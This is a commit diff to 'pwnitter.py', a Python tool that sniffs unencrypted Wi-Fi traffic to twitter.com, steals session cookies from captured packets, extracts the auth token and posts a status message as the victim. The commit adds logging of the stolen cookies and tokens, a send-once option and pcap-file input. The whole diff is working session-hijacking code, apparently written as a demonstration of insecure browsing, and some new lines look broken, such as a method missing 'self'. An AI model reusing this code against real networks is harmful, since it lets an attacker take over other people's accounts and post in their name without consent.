Added capability of sending one message only
[pwnitter] / pwnitter.py
index 3efd967..c363a23 100755 (executable)
@@ -7,13 +7,16 @@
 import dbus.service
 import dbus.mainloop.glib
 import getopt, sys, pcap, dpkt, re, httplib, urllib
+import logging
+import logging.config
 import socket
 import time
 import gobject
 import select
 import subprocess
+import urllib2
 
-status = 'I browsed twitter insecurely on #fossdotin  and all I got was this lousy tweet.'
+status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
 
 def usage(): 
     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
@@ -22,22 +25,30 @@ def usage():
 NAME = 'de.cryptobitch.muelli.Pwnitter'
 
 class Pwnitter(dbus.service.Object):
-    def __init__(self, bus, object_name, device='mon0'):
+    def __init__(self, bus, object_name, device='mon0', run_once_only=False):
         super(Pwnitter, self).__init__(bus, object_name)
         self.device = device
         
         self.status = status
         self.is_running = False
+        self.run_once_only = run_once_only
 
-    @dbus.service.method(NAME,
-                         in_signature='', out_signature='')
-    def Start(self, device='mon0'):
-        # FIXME: Prevent double Start()
+    def setup_monitor(device='mon0'):
         # FIXME: Replace hardcoded interface 
         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
         subprocess.call(cmd)
         cmd = '/sbin/ifconfig mon0 up'.split()
         subprocess.call(cmd)
+    
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Start(self, filename=None):
+        # FIXME: Prevent double Start()
+        if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
+            self.setup_monitor(device)
+            device = self.device
+        else: # We have given a filename, so let's make PCap read from the file
+            device = filename
         self.is_running = True
         try:
             self.cap = pcap.pcap(device)
@@ -47,6 +58,12 @@ class Pwnitter(dbus.service.Object):
         self.cap.setfilter('dst port 80')
         cap_fileno = self.cap.fileno()
         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
+
+    @dbus.service.method(NAME,
+                         in_signature='s', out_signature='')
+    def StartFromFile(self, filename):
+        return self.Start(filename=filename)
+
     
     def cap_readable_callback(self, source, condition, device):
         return self.pwn(device, self.MessageSent)
@@ -68,25 +85,31 @@ class Pwnitter(dbus.service.Object):
     def GetMessage(self):
         return self.status
 
+
+    def tear_down_monitor(self, device='mon0'):
+        cmd = '/sbin/ifconfig mon0 down'.split()
+        subprocess.call(cmd)
+        cmd = '/usr/sbin/iw dev mon0 del'.split()
+        subprocess.call(cmd)
+    
     @dbus.service.method(NAME,
                          in_signature='', out_signature='')
     def Stop(self):
         self.is_running = False
         print "Receive Stop"
         gobject.source_remove(self.source_id)
-        cmd = '/sbin/ifconfig mon0 down'.split()
-        subprocess.call(cmd)
-        cmd = '/usr/sbin/iw dev mon0 del'.split()
-        subprocess.call(cmd)
+        self.tear_down_monitor(self.device)
         loop.quit()
 
 
     def pwn(self, device, tweeted_callback=None):
+        log = logging.getLogger('pwn')
+        
         processed = {}
         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
             ts, raw = self.cap.next()
             eth = dpkt.ethernet.Ethernet(raw)
-            #print 'got a packet'  
+            log.debug('got a packet')
             # Depending on platform, we can either get fully formed packets or unclassified radio data
             if isinstance(eth.data, str):
                 data = eth.data
@@ -95,26 +118,26 @@ class Pwnitter(dbus.service.Object):
 
             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
             if hostMatches:
-                print 'Host matched'
+                log.debug('Host matched')
                 host = hostMatches.group(1)
 
                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
+                log.debug('CookieMatches? %r', cookieMatches)
                 if cookieMatches:
                     cookie = cookieMatches.group(1)
+                    log.debug('yummie Cookie %r', cookie)
 
                     headers = {
                         "User-Agent": "Mozilla/5.0",
                         "Cookie": cookie,
                     }
                     
-                    conn = httplib.HTTPSConnection(host)
                     try:
-                        conn.request("GET", "/", None, headers)
+                        page = urllib2.urlopen("https://%s/" % host).read()
                     except socket.error, e:
-                        print e
+                        log.error(e)
                     else:
-                        response = conn.getresponse()
-                        page = response.read()
+                        log.debug('Connected to host %s', host)
 
                         # Newtwitter and Oldtwitter have different formatting, so be lax
                         authToken = ''
@@ -125,6 +148,7 @@ class Pwnitter(dbus.service.Object):
 
                             if authMatches:
                                 authToken = authMatches.group(1)
+                                log.info('Found auth token %r', authToken)
 
                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
                         if not nameMatches:
@@ -133,11 +157,12 @@ class Pwnitter(dbus.service.Object):
                         name = ''
                         if nameMatches:
                             name = nameMatches.group(1)
+                            log.info('Found name %r', name)
 
 
                         # We don't want to repeatedly spam people
-                        # FIXME: What the fuck logic. Please clean up
-                        if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                        # Also proceed if we didn't find a name but are on the mobile page
+                        if  not (name in processed)   or   ((not name) and host == 'mobile.twitter.com'):
                             headers = {
                                 "User-Agent": "Mozilla/5.0",
                                 "Accept": "application/json, text/javascript, */*",
@@ -149,7 +174,9 @@ class Pwnitter(dbus.service.Object):
                             }
 
 
-                            print 'Issueing connection'
+                            log.debug('Issueing connection')
+                            if self.run_once_only: # If we wanted to run once only, we make it stop now
+                                self.is_running = False
                             if host == 'mobile.twitter.com':
 
                                 params = urllib.urlencode({
@@ -172,7 +199,7 @@ class Pwnitter(dbus.service.Object):
 
 
                             response = conn.getresponse()
-                            print 'Got response: %s' % response.status
+                            log.debug('Got response: %s', response.status)
                             if response.status == 200 or response.status == 302 or response.status == 403:
 
                                 if name:
@@ -180,19 +207,19 @@ class Pwnitter(dbus.service.Object):
 
                                 # 403 is a dupe tweet
                                 if response.status != 403:
-                                    print "Successfully tweeted as %s" % name
-                                    print 'calling %s' % tweeted_callback
+                                    log.info("Successfully tweeted as %s", name)
                                     if tweeted_callback:
                                         tweeted_callback(name)
                                 else:
-                                    print 'Already tweeted as %s' % name
+                                    log.info('Already tweeted as %s', name)
 
                             else:
 
-                                print "FAILED to tweet as %s, debug follows:" % name
-                                print response.status, response.reason
-                                print response.read() + "\n"
-        return self.is_running # Execute next time, we're idle
+                                log.error("FAILED to tweet as %s, debug follows:", name)
+                                log.error("%s, %s", response.status, response.reason)
+                                log.error("%s", response.read())
+
+        return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
     # FIXME: Ideally, check    whether Pcap has got data for us
 
 def main():
@@ -209,16 +236,36 @@ def main():
 
 
 if __name__ == '__main__':
+    from optparse import OptionParser
+    parser = OptionParser("usage: %prog [options]")
+    parser.add_option("-l", "--loglevel", dest="loglevel", 
+                      help="Sets the loglevel to one of debug, info, warn, error, critical")
+    parser.add_option("-s", "--session", dest="use_session_bus",
+                      action="store_true", default=False,
+                      help="Bind Pwnitter to the SessionBus instead of the SystemBus")
+    parser.add_option("-1", "--single", dest="run_once_only",
+                      action="store_true", default=False,
+                      help="Make it send a single message only")
+    (options, args) = parser.parse_args()
+    loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
+                'warn': logging.WARN, 'error': logging.ERROR,
+                'critical': logging.CRITICAL}.get(options.loglevel, "warn")
+    logging.basicConfig(level=loglevel)
+    #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
+    log = logging.getLogger("Main")
+
     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
 
-    #session_bus = dbus.SessionBus()
-    session_bus = dbus.SystemBus()
+    if options.use_session_bus:
+        session_bus = dbus.SessionBus()
+    else:
+        session_bus = dbus.SystemBus()
     name = dbus.service.BusName(NAME, session_bus)
-    pwnitter = Pwnitter(session_bus, '/Pwnitter')
+    pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
     #object.Start()
 
     loop = gobject.MainLoop()
-    print "Running example signal emitter service."
+    log.info("Running example signal emitter service.")
     # FIXME: This is debug code
     #gobject.idle_add(pwnitter.MessageSent)